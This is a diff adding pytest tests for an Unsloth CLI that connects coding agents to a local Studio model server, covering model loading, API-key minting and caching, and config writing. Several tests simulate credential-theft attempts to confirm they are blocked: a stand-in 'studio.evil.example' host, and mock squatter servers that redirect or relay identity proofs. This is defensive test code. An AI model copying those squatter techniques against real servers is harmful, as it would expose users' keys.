+    # so they're ignored: a fresh key is minted and stored scoped to this server.
+    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+    assert "key" not in cached  # legacy field collapsed away
+
+
+def test_connect_model_flag_loads_on_server(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
+
+
+def test_connect_model_flag_forwards_load_options(fake_studio):
+    # The model-load knobs mirrored from `unsloth run` reach /api/inference/load.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+            "--context-length",
+            "8192",
+            "--no-load-in-4bit",
+            "--tensor-parallel",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {
+                "model_path": "unsloth/Qwen3-4B-GGUF",
+                "gguf_variant": "UD-Q4_K_XL",
+                "max_seq_length": 8192,
+                "load_in_4bit": False,
+                "tensor_parallel": True,
+            },
+        )
+    ]
+
+
+def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
+    # Studio registers a loaded model under a canonical id (resolved identifier
+    # / casing) that can differ from the path we passed. The agent must connect
+    # to that model, not silently fall through to the first loaded one.
+    requested = "Unsloth/Qwen3.5-35B-A3B"
+    canonical = "unsloth/Qwen3.5-35B-A3B"
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {"model": canonical, "display_name": canonical}
+        if url.endswith("/v1/models"):
+            # Decoy sorts first, so models[0] is the wrong pick on the old code.
+            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", requested])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
+
+
+@pytest.mark.parametrize(
+    "model, expected",
+    [
+        ("unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", ("unsloth/Qwen3-1.7B-GGUF", "UD-Q4_K_XL")),
+        ("unsloth/gemma-4-E2B-it-GGUF:Q8_0", ("unsloth/gemma-4-E2B-it-GGUF", "Q8_0")),
+        ("unsloth/Qwen3-1.7B-GGUF", ("unsloth/Qwen3-1.7B-GGUF", None)),  # no suffix
+        ("/models/local.gguf", ("/models/local.gguf", None)),  # absolute path
+        ("./rel.gguf", ("./rel.gguf", None)),  # relative path
+        ("C:\\models\\x.gguf", ("C:\\models\\x.gguf", None)),  # Windows drive
+        ("repo:with/slash", ("repo:with/slash", None)),  # slash in variant -> not a variant
+        ("", ("", None)),
+    ],
+)
+def test_split_repo_variant(model, expected):
+    assert start._split_repo_variant(model) == expected
+
+
+def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio):
+    # A bare `--model <loaded repo>` (no load knobs) attaches to the already-loaded model
+    # without touching /api/inference/load, so it can never evict another session.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", MODEL["id"]])
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == []
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio):
+    # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant),
+    # never the `:`-suffixed repo id Studio rejects. The variant knob defers to
+    # /api/inference/load, whose already-loaded dedup answers without reloading when the
+    # active variant+settings match -- so a second session running the same command
+    # attaches without evicting the first, while a genuinely different quant reloads.
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_load_knobs_reach_server_even_when_id_loaded(fake_studio):
+    # /v1/models can't reveal the active quant, so an id match alone would silently keep
+    # the wrong variant loaded. Explicit knobs must always consult the load endpoint.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", MODEL["id"], "--gguf-variant", "Q8_0"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": MODEL["id"], "gguf_variant": "Q8_0"})
+    ]
+
+
+def test_connect_model_variant_suffix_loads_split_repo(fake_studio):
+    # When the model is not already loaded, the `:QUANT` suffix becomes the gguf_variant
+    # and the load uses the bare (valid) repo id, mirroring `unsloth run repo --gguf-variant`.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", "unsloth/Qwen3-4B-GGUF:UD-Q4_K_XL"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_explicit_gguf_variant_wins_over_suffix(fake_studio):
+    # An explicit --gguf-variant takes precedence; the suffix is still stripped so the
+    # repo id stays valid.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF:Q8_0",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda method, url, token, payload = None, timeout = 30, error = None: (
+            {"key": "sk-unsloth-feedfacefeedface"}
+            if url.endswith("/api/auth/api-keys")
+            else {"object": "list", "data": []}
+        ),
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No model is loaded" in result.output
+
+
+def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
+    # Studio never surfaces the requested model; fail loudly rather than
+    # silently connecting to whatever else happens to be loaded.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {}
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
+    )
+    assert result.exit_code == 1
+    assert "unsloth/Missing-7B" in result.output
+
+
+def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 1
+    assert "GGUF" in result.output
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
+    # A server known only by URL + health check is unverified: keyless connect
+    # must refuse and make no request at all.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.evil.example:8888")
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 1
+    assert "Settings → API" in result.output
+    assert "--api-key" in result.output
+    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
+
+
+def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
+    # User named both server and key, so it's their choice; only auto-send is blocked.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.example:8888")
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
+    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
+    # auto-minting stays blocked for non-loopback.
+    remote = "http://studio.example:8888"
+    monkeypatch.setattr(start, "find_studio_server", lambda: remote)
+    (tmp_path / "agent_api_key.json").write_text(
+        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
+def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
+    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
+    # error, not a silent local model load (which they did not ask for).
+    import typer
+
+    import unsloth_cli._inference as inference
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
+    monkeypatch.setattr(
+        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
+    )
+    with pytest.raises(typer.Exit):
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+
+
+def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
+    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
+    # server can't be verified, fall back to a local load rather than erroring.
+    import unsloth_cli._inference as inference
+
+    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
+    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
+    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
+    assert (
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+        is None
+    )
+
+
+def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
+    fake_studio, tmp_path, monkeypatch
+):
+    # With no saved key, the next step would auto-mint; an unverified loopback
+    # server (port squatter) must be refused, with nothing sent.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
+def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
+    # replays on keyless runs without the handshake, scoped to its own base.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
+
+
+def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "minted" key is NOT replayed to an unverified loopback server: minting and
+    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
+
+
+def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
+    # An explicit key is the user's deliberate choice, so it does not require
+    # the automatic identity handshake.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+
+
+def _serve_identity(proof_for):
+    """Start a localhost HTTP server answering /api/auth/identity with
+    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
+    import base64
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+    from urllib.parse import parse_qs, urlparse
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            parsed = urlparse(self.path)
+            if parsed.path != "/api/auth/identity":
+                self.send_response(404)
+                self.end_headers()
+                return
+            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
+            host, port = self.server.server_address[0], self.server.server_address[1]
+            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
+            self.send_response(200)
+            self.send_header("Content-Type", "application/json")
+            self.end_headers()
+            self.wfile.write(body)
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
+    # Real crypto end to end: verify_studio_identity reads the install secret from
+    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:  # backend not importable here (e.g. missing deps)
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    good = lambda nonce, host, port: storage.compute_identity_proof(
+        nonce, host, port
+    )  # real secret
+    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
+    base_ok, stop_ok = _serve_identity(good)
+    base_bad, stop_bad = _serve_identity(bad)
+    try:
+        assert inference.verify_studio_identity(base_ok) is True
+        assert inference.verify_studio_identity(base_bad) is False
+    finally:
+        stop_ok()
+        stop_bad()
+
+
+def _serve_redirect(target):
+    """Start a localhost server that 302-redirects every GET to target+path."""
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            self.send_response(302)
+            self.send_header("Location", target + self.path)
+            self.end_headers()
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
+    # A squatter could 302 /api/auth/identity to the real Studio and relay its
+    # proof; redirects must be refused so the squatter's base isn't accepted.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    squatter_base, stop_squatter = _serve_redirect(real_base)
+    try:
+        assert inference.verify_studio_identity(real_base) is True  # direct: ok
+        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
+    # A squatter that proxies the nonce to the real Studio on another port gets a
+    # proof bound to *that* port; the client expects one bound to the port it
+    # connected to, so the relayed proof is rejected.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    real_port = int(real_base.rsplit(":", 1)[1])
+    # The squatter answers on its own port but returns the proof for the real port.
+    squatter_base, stop_squatter = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
+    )
+    try:
+        assert inference.verify_studio_identity(real_base) is True
+        assert inference.verify_studio_identity(squatter_base) is False
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+@pytest.mark.parametrize(
+    "url, loopback",
+    [
+        ("http://127.0.0.1:8888", True),
+        ("http://localhost:8888", True),
+        ("http://[::1]:8888", True),
+        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
+        ("http://0.0.0.0:8888", False),
+        ("http://10.0.0.5:8888", False),
+        ("http://studio.evil.example:8888", False),
+        ("https://studio.example.com", False),
+    ],
+)
+def test_is_loopback_url(url, loopback):
+    assert start.is_loopback_url(url) is loopback
+
+
+def test_connect_no_studio_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+
+
+@pytest.fixture(autouse = True)
+def _reset_auto_served():
+    # Never let a test leave a fake server in the module slot (an atexit backstop would
+    # otherwise try to signal it at interpreter shutdown).
+    yield
+    start._auto_served_server = None
+
+
+def test_start_studio_server_builds_command_and_waits(monkeypatch):
+    captured = {}
+
+    class FakePopen:
+        def __init__(self, command, **kwargs):
+            captured["command"] = command
+            captured["kwargs"] = kwargs
+            self.pid = 4321
+
+        def poll(self):
+            return None
+
+    monkeypatch.setattr(start.subprocess, "Popen", FakePopen)
+    monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True)
+    monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-abc123")
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+
+    server = start._start_studio_server(
+        "http://127.0.0.1:8888",
+        "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL",
+        start.LoadOptions(
+            gguf_variant = "UD-Q4_K_XL", max_seq_length = 8192, load_in_4bit = True, tensor_parallel = True
+        ),
+    )
+    cmd = captured["command"]
+    assert cmd[1] == "run"
+    assert "--disable-tools" in cmd and "--no-cloudflare" in cmd
+    assert cmd[cmd.index("--model") + 1] == "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"
+    assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL"
+    assert cmd[cmd.index("--context-length") + 1] == "8192"
+    assert "--tensor-parallel" in cmd
+    assert cmd[cmd.index("-p") + 1] == "8888"
+    assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd
+    assert captured["kwargs"].get("start_new_session") is True  # own process group
+    assert server.pid == 4321
+
+
+def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model, load = load)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    # The `:QUANT` suffix is split off into the gguf_variant so `unsloth run` gets a valid
+    # repo id plus `--gguf-variant`, mirroring how `unsloth run` accepts either form.
+    assert started["model"] == "unsloth/Qwen3-1.7B-GGUF"
+    assert started["load"].gguf_variant == "UD-Q4_K_XL"
+    assert started["base"] == BASE
+    # Torn down after the agent session ended.
+    assert started.get("down") is fake
+
+
+def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch):
+    # The Codex GGUF preflight runs after _connect may have auto-started a server but
+    # before _run's teardown finally, so a preflight rejection must not leave the server
+    # holding the port/GPU (waiting on the atexit backstop).
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "transformers-model"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["codex", "--model", "unsloth/Qwen3-1.7B", "--launch"]
+    )
+    assert result.exit_code != 0, result.output
+    assert "GGUF" in result.output
+    # Torn down at the point the preflight rejected the model, not only via atexit.
+    assert started.get("down") is fake
+
+
+def test_no_serve_preserves_error(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_launch_never_serves(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_server_no_model_hints_model_flag(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 1
+    assert "--model" in result.output
+
+
+@pytest.mark.parametrize(
+    "base, expected",
+    [
+        ("http://127.0.0.1", "http://127.0.0.1:8888"),  # portless -> unsloth run's :8888
+        ("http://127.0.0.1:8888", "http://127.0.0.1:8888"),  # explicit port kept
+        ("http://127.0.0.1:9000", "http://127.0.0.1:9000"),
+        ("http://localhost", "http://localhost:8888"),
+        ("http://[::1]", "http://[::1]:8888"),  # IPv6 literal stays bracketed
+        ("http://[::1]:8888", "http://[::1]:8888"),
+        # Paths are stripped: unsloth run serves at the root, so /studio would make the
+        # health poll hit /studio/api/health (404) until the startup timeout.
+        ("http://127.0.0.1:8888/studio", "http://127.0.0.1:8888"),
+        ("http://127.0.0.1/studio", "http://127.0.0.1:8888"),
+    ],
+)
+def test_effective_base(base, expected):
+    assert start._effective_base(base) == expected
+
+
+def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch):
+    # A portless UNSLOTH_STUDIO_URL must launch AND poll :8888 (what unsloth run binds),
+    # not port 80, or readiness never matches and we hit the startup timeout.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started["base"] = base
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", lambda server: None)
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 0, result.output
+    assert started["base"] == "http://127.0.0.1:8888"
+
+
+def test_connect_explicit_api_key_skips_mint(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
+
+
+# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
+
+
+def test_write_openclaw_config_fresh(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["models"]["providers"]["unsloth"]
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    assert provider["api"] == "openai-completions"
+    assert provider["models"] == [
+        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
+    ]
+    # The default model must be pinned or OpenClaw has nothing active.
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["gateway"]["mode"] == "local"
+    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
+    if os.name != "nt":  # the file holds an API key
+        assert path.stat().st_mode & 0o777 == 0o600
+
+
+def test_write_openclaw_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps(
+            {
+                "theme": "dark",
+                "agents": {"defaults": {"temperature": 0.5}},
+                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
+            }
+        )
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "dark"
+    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
+    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
+    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_write_openclaw_config_corrupt_left_alone(tmp_path, capsys):
+    path = tmp_path / "openclaw.json"
+    path.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == "{not json"
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_openclaw_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "openclaw" in result.output
+    config_path = tmp_path / "agents" / "openclaw" / "openclaw.json"
+    # Config + state are scoped to the session dir, not the user's ~/.openclaw.
+    _assert_env_set(result.output, "OPENCLAW_CONFIG_PATH", str(config_path))
+    _assert_env_set(result.output, "OPENCLAW_STATE_DIR", str(tmp_path / "agents" / "openclaw"))
+    config = json.loads(config_path.read_text())
+    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
